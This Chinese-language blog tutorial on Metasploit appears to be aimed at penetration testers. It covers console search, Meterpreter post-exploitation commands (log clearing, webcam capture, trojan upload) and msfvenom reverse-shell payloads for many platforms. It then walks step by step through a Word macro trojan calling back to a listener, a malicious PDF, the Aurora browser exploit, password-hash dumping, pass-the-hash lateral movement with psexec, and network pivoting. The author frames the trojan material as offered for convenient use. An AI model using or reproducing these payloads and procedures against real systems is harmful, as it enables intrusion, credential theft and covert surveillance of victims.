赞
踩
msf全称:metasplpit
作用:Metasploit是一个渗透测试平台
环境:kali-linux 自动搭建了msf环境
在这边我就化繁为简,把一些我感觉重要常用的功能详细的讲解一番。
首先肯定是启动msf,启动就很简单了,在kali命令行输入:msfconsole
如果记不住,可以直接:msfc
然后加一个tab,然后就会自动补全,回车就好了。
search
命令介绍:msfconsole包含广泛的基于正则表达式的搜索功能。如果您对所查找内容有一个大致的了解,则可以通过搜索进行搜索。在下面的输出中,正在搜索MS Bulletin MS09-011。搜索功能将在模块名称,描述,引用等内找到该字符串。
请注意,Metasploit模块的命名约定使用下划线和连字符。
msf > search usermap_script
Name Disclosure Date Rank Description
exploit/multi/samba/usermap_script 2007-05-14 excellent Samba “username map script” Command Execution
您可以使用内置的关键字系统进一步优化您的搜索。命令:help search
要使用描述性名称进行搜索,请使用name关键字。
您可以使用platform将搜索范围缩小到影响特定platform(平台)的模块。
使用该type可以按模块类型进行过滤,如auxiliary(辅助),post(提交),exploit(利用)等。
使用author关键字搜索可让您搜索您最喜爱的作者的模块
当然,search
命令还可以在拿到一定权限时,可以在受害者机器内搜索想要的信息
Meterpreter具有搜索功能,默认情况下,该功能将清除受感染计算机上的所有驱动器,以查找您选择的文件。
meterpreter > search -h
Usage: search [-d dir] [-r recurse] -f pattern
Search for files.
OPTIONS:
-d 开始从中搜索的 目录/驱动器。 留空以搜索所有驱动器。 (默认:)
-f 要搜索的文件模式glob。 (例如* secret * .doc?)
-h 帮助横幅。
-r 递归搜索子目录。 (默认:true)
要在计算机上运行所有jpeg文件搜索,只需使用’-f’开关运行搜索命令并告诉它要查找哪种文件类型。
meterpreter > search -f *.jpg
Found 418 results…
…snip…
c:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg (28521 bytes)
c:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Sunset.jpg (71189 bytes)
c:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Water lilies.jpg (83794 bytes)
c:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Winter.jpg (105542 bytes)
…snip…
搜索整台计算机可能需要很长时间,并且观察用户可能会注意到他们的硬盘不断颠簸。我们可以通过将它指向一个起始目录并让它运行来缩短搜索时间。
meterpreter > search -d c:\documents\ and\ settings\administrator\desktop\ -f *.pdf
Found 2 results…
c:\documents and settings\administrator\desktop\operations_plan.pdf (244066 bytes)
c:\documents and settings\administrator\desktop\budget.pdf (244066 bytes)
meterpreter >
核心命令
? 帮助菜单
banner 显示一个真棒metasploit横幅
cd 更改当前的工作目录
color 切换颜色
connect 连接与主机通信
exit 退出控制台
get 获取特定于上下文的变量的值
getg 获取全局变量的值
grep grep另一个命令的输出
help 帮助菜单
history 显示命令历史
irb 进入irb脚本模式
load 加载一个框架插件
quit 退出控制台
route 通过会话路由流量
save 保存活动的数据存储
sessions 转储会话列表并显示有关会话的信息
set 将特定于上下文的变量设置为一个值
setg 将全局变量设置为一个值
sleep 在指定的秒数内不做任何事情
spool 将控制台输出写入文件以及屏幕
threads 线程查看和操作后台线程
unload 卸载框架插件
unset 取消设置一个或多个特定于上下文的变量
unsetg 取消设置一个或多个全局变量
version 显示框架和控制台库版本号
模块命令
advanced 显示一个或多个模块的高级选项
back 从当前上下文返回
edit 使用首选编辑器编辑当前模块
info 显示有关一个或多个模块的信息
loadpath 路径从路径搜索并加载模块
options 显示全局选项或一个或多个模块
popm 将最新的模块从堆栈中弹出并使其处于活动状态
previous 将之前加载的模块设置为当前模块
pushm 将活动或模块列表推入模块堆栈
reload_all 从所有定义的模块路径重新加载所有模块
search 搜索模块名称和描述
show 显示给定类型的模块或所有模块
use 按名称选择模块
工作命令
handler 作为作业启动负载处理程序
jobs 显示和管理作业
kill 杀死一个工作
rename_job 重命名作业
资源脚本命令
makerc 保存从开始到文件输入的命令
resource 运行存储在文件中的命令
数据库后端命令
db_connect 连接到现有的数据库
db_disconnect 断开与当前数据库实例的连接
db_export 导出包含数据库内容的文件
db_import 导入扫描结果文件(文件类型将被自动检测)
db_nmap 执行nmap并自动记录输出
db_rebuild_cache 重建数据库存储的模块高速缓存
db_status 显示当前的数据库状态
hosts 列出数据库中的所有主机
loot 列出数据库中的所有战利品
notes 列出数据库中的所有笔记
services 列出数据库中的所有服务
vulns 列出数据库中的所有漏洞
workspace 在数据库工作区之间切换
凭证后端命令
creds 列出数据库中的所有凭据
.background 从meterpreter退出到msf里
.sessions -i 1 进入meterpreter里
.cat 查看文件内容
.clearev 清楚日志
.download 从远程机器下载文件 download c:\boot.ini
.edit 打开文件。 meterpreter > edit edit.txt
.execute 命令在目标上运行一个命令。meterpreter > execute -f cmd.exe -i -H。
.getuid 显示服务器上运行的用户
.idletume 显示远程机器上的用户空闲的秒数
.lpwd>lcd lpwd-显示当前目录 lcd-跳转到哪个目录
.migrate 迁移到受害者的另一个进程 meterpreter > run post/windows/manage/migrate
.ps 显示正在运行进程的列表
.resource 执行文本里的meterpreter命令 resource 1.txt
.search 查找特定文件 search -f *.doc
.shell 将提供目标系统上的标准shell
.upload 上传文件 meterpreter > upload evil_trojan.exe c:\windows\system32
.webcam_list 显示网络摄像头
.webcam_snap 从目标系统上已连接网络的摄像头抓取图片
把网上的一些资源整合了一下,还把word宏木马等也加进来了,方便大家利用
msfvenom
msfcenom详细语法
-e, –encoder [encoder] 指定需要使用的encoder(编码器)
-a, –arch < architecture> 指定payload的目标架构
–platform < platform> 指定payload的目标平台
-s, –space < length> 设定有效攻击荷载的最大长度
-b, –bad-chars < list> 设定规避字符集,比如: & #039;\x00\xff& #039;
-i, –iterations < count> 指定payload的编码次数
-c, –add-code < path> 指定一个附加的win32 shellcode文件
-x, –template < path> 指定一个自定义的可执行文件作为模板
-k, –keep 保护模板程序的动作,注入的payload作为一个新的进程运行
–payload-options 列举payload的标准选项
-o, –out < path> 保存payload
-v, –var-name < name> 指定一个自定义的变量,以确定输出格式
–shellest 最小化生成payload
-h, –help 查看帮助选项
–help-formats 查看msf支持的输出格式列表
二进制
linux:msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= LPORT= -f elf > shell.elf
windows:msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f exe > shell.exe
mac: msfvenom -p osx/x86/shell_reverse_tcp LHOST= LPORT= -f macho > shell.macho
web
php:msfvenom -p php/meterpreter_reverse_tcp LHOST= LPORT= -f raw > shell.php
cat shell.php | pbcopy && echo '<?php ’ | tr -d ‘\n’ > shell.php && pbpaste >> shell.php
asp:msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f asp > shell.asp
jap:msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f raw > shell.jsp
war:msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f war > shell.war
脚本
python:msfvenom -p cmd/unix/reverse_python LHOST= LPORT= -f raw > shell.py
bash:msfvenom -p cmd/unix/reverse_bash LHOST= LPORT= -f raw > shell.sh
perl:msfvenom -p cmd/unix/reverse_perl LHOST= LPORT= -f raw > shell.pl
基于pdf的shellcode
use exploit/windows/fileformat/adobe_utilprintf
msf5 exploit(adobe_utilprintf)>set FILENAME BestComputers-UpgradeInstructions.pdfset
PAYLOAD windows/meterpreter/reverse_tcp
其他的就自己填就好了
读到这里,大家肯定会感到疑惑,生成木马后怎么获取权限呢,那么我在这里给出答复,一般情况下用两种方式,一种是用msf的监听模块,还有一种就是nc反弹了,这里我就讲解下msf的监听模块,nc大家就自行百度下
监听模块:use exploit/multi/handler
添加ip,端口不需要讲解吧
添加payload:set payload
payload是生成木马的payload
然后运行:exploit
接下来的比较有意思,基于word的shellcode
生成payload:msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.171.129 LPORT=4444 -e x86/shikata_ga_nai -f vba-exe
生成的内容分为两个部分,一部分是宏执行的vba代码,另一部分是payload
然后生成一个空白的word文件
宏名随便输入,然后点击创建,我们拷贝生成的第一部分的内容到这里,然后点击保存
我们现在再打开宏,可以看到生成了下面几个宏
然后我们拷贝第二部分,贴到word文档的正文里面,然后保存关闭
然后在Kali上启动侦听
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.171.129
exploit
当在Windows启动刚刚的word时,我们就取得shell了
运行命令:use exploit/windows/browser/ms10_002_aurora
接着添加:set URIPATH /
加上payload:set PAYLOAD windows/meterpreter/reverse_tcp
运行:exploit -j
当目标访问我们的恶意URL时,我们就得到了shell
####
内网穿透不知道我理解的有没有毛病,就相当于在目标系统添加路由,然后转发出去,这边我只接受使用msf方法操作,可能感觉有点怪怪的,但是懂得都懂,好兄弟。
命令详细:
#这边和大家讲下,此方法是获取到了meterpreter后的操作,不过也对,没有获取也不会做到这一步,我真是废话了。
例子:
通过session 1为从192.168.0.0到192.168.0.0的所有主机添加路由
route add 192.168.0.0 255.255.255.0 1
route add 192.168.0.0/24 1
删除上述路线
route remove 192.168.0.0/24 1
route del 192.168.0.0 255.255.255.0 1
显示将用于给定主机或网络的路线
route get 192.168.0.11
命令说明:
run autoroute -s 10.1.1.0 -n 255.255.255.0#将路由添加到10.10.10.1/255.255.255.0
run autoroute -s 10.10.10.1#网络掩码默认为255.255.0
run autoroute -s 10.10.1/24#CIDR表示法也可以
run autoroute -p#打印活动路由表
run autoroute -d -s 10.10.10.1#删除10.10.1/255.255.0路由
使用“route”和“ipconfig”metermeter命令了解可用路由
run autorpute -s 10.1.13.0/24
绑定路由
run autoroute -p
查看
_现在开始举一个例子,假如现在测试一个公司系统,拿到了一台主机的权限,查看它的ip段发现,除了它本身的段,还存在10.1.13.0/24
的段,那么首先添加10.1.13.0/24的路由,run autoroute -s 10.1.13.0/24
,然后我们还得提权到system,然后转储密码散列,退出meterpreter,background
meterpdreter > getsystem
…xxxx system
meterpreter > run hashdump
*
*
administrator:dwadwadwadwadwadwadawd
guest:Dwadwadwad
虽然我们添加了它第二个ip段的路由,但是还是不知道它第二个ip段有没有存活主机,现在用msf扫描一下,这里用基本的tcp端口扫描程序来查找端口139和445
use auxiliary/scanner/portscan/tcp
#进入扫描模块set rhosts 10.1.13.0/24
set ports 139,445
set threads 50
run
假设我们发现了一台额外的机器,我们尝试将我们收集的密码哈希与psexec漏洞利用模块一起使用,本地管理员密码在整个企业中通常是相同的。
msf > use exploit/windows/smb/psexec
msf exploit(psexec) > set rhost 10.1013.2
msf exploit(psexec) > set smbuser Administrator
msf exploit(psexec) > set smbpass xxxxxxxxxxxx
msf exploit(psexec) > set payload windows/meterpreter/bind_tcp
msf exploit(psexec) > exploit
#这边就显示了成功获取meterprter
命令说明:
add >
在meteroreter shell中,以下列方式使用该命令:
meterpreter > portfwd add -l 3389 -p 3389 -r xxx.xx.xx.xx
• add会将端口转发添加到列表中,并将为我们创建一个隧道。请注意,此通道也将存在于Metasploit控制台之外,使其可用于任何终端会话。
• -l 3389是本地端口,将被监听并转发到我们的目标。这可以是您的机器上的任何端口,只要它尚未被使用。
• -p 3389是我们的定向主机上的目标端口。
• -r [target host]是我们的目标系统的IP或主机名。
delete >
与前面的命令非常相似,它是删除条目。再次从有效的Meterpreter会话中,我们输入以下内容:
meterpreter > portfwd delete –l 3389 –p 3389 –r [target host]
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。